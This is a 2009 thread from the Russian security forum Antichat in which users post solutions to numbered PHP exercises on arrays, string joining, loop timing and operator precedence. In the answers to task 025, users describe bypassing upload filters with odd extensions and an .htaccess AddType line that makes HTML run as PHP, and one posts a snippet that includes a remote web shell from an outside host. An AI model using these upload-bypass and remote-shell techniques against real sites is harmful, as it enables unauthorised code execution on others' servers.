Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

23.06.2009, 14:22
|
|
Познающий
Регистрация: 21.06.2006
Сообщений: 74
Провел на форуме: 2441743
Репутация:
222
|
|
работать не будет, проверь если все цифры в массивах > 10
Действительно =( А я об этом что то и не задумался,так на скорую руку набросал.
|
|
|

23.06.2009, 18:17
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме: 244235
Репутация:
39
|
|
20:
Код:
function oin($glue, $arr) {
$res = '';
$add = false;
foreach ($arr as $b) {
if ($add) $res .= $glue;
if (!$add) $add = true;
$res .= $b;
}
return $res;
}
print oin(', ', array('a', 'b', 'c'));
21:
Код:
$num = 5;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, 5);
$two = array_slice($big, 5);
print_r($one);
print_r($two);
22:
Код:
$arr = array(3 => 'a', 5 => 'b', 9 => 'c');
#foreach
$vals = array_keys($arr);
for ($i=0; $i<count($vals); $i++) {
print $vals[$i].' => '.$arr[$vals[$i]]."\n";
}
23:
Код:
print preg_match('#0$#', '1543230')?'yes':'no';
Последний раз редактировалось roddik; 23.06.2009 в 18:22..
|
|
|

23.06.2009, 18:50
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
21:
Код:
$num = 5;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, 5);
$two = array_slice($big, 5);
print_r($one);
print_r($two);
немного подправил, количество элементов в первом массиве должно определяется в переменной $num.
PHP код:
<?php
$num = 10;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, $num );
$two = array_slice($big, $num );
echo "<pre>";
print_r($one);
echo "<pre>";
echo "<pre>";
print_r($two);
echo "<pre>";
?>
|
|
|

23.06.2009, 21:22
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме: 244235
Репутация:
39
|
|
да, спс, проглядел немножко
|
|
|

24.06.2009, 19:04
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
тАк, Модератор скоро почистит тему и не флдудите!!! тока решения или новые зададиня! о новростях буду сообщать в первом посте.
|
|
|

26.06.2009, 17:47
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
3 новых задания появились)
Буду рад, если подкините заданий, а то моя фантазия на исходе)
|
|
|

26.06.2009, 18:26
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Задание 025
Назвать файл file.php.fdjhhd или скажем .php3, или залить пхп код в хтмл файле и htaccess c текстом
AddType application/x-httpd-php .html .htm
Задание 026
Потому что должно выполниться или
$b <= $a && $a == $c
или
$b > $c
Второе выполняется и присваивается 0
Последний раз редактировалось Kaimi; 26.06.2009 в 18:31..
|
|
|

26.06.2009, 18:42
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме: 244235
Репутация:
39
|
|
24:
Код:
ob_start();
$time1 = microtime(1);
for ($j = 0; $j < 10000; $j++) {
for($i=0;$i<10;$i++)
{ echo '1php '; }
}
$a = (microtime(1)-$time1);
$time1 = microtime(1);
for ($j = 0; $j < 10000; $j++) {
while($i<10) {
echo 'w1';
$i +=1;
}
}
$b = (microtime(1)-$time1);
ob_end_clean();
echo "A: $a, B: $b";
A: 0.0332159996033, B: 0.00275301933289
второй вариант быстрее
25:
хз, может расширение php4 попробовать, или взять левое расширение и добавить .htaccess, в котором оно будет прописано для пхп
26:
Код:
$a = 10;
$b = 515;
$c = 0.515;
$d = $b<=$a&&$a==$c||$b>$c?0:1;
echo $d;
$d = 0&&0 || 1?0:1; у || приоритет меньше, чем у &&
$d = 0 || 0
$d = 0
|
|
|

26.06.2009, 19:30
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
025
мб залить хтмл файл с таким содержанием:
PHP код:
<?php
require_once('http://mysite.com/shell.php');
?>
|
|
|

26.06.2009, 21:05
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
roddik, 024 впринципе правильно, но хачем нада было в фор сувать остается загадкой.
025 ьож правильно родик решил. - взять левое расширение и залить еще хтаккес.
026 немного не правиьно родик сделал
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|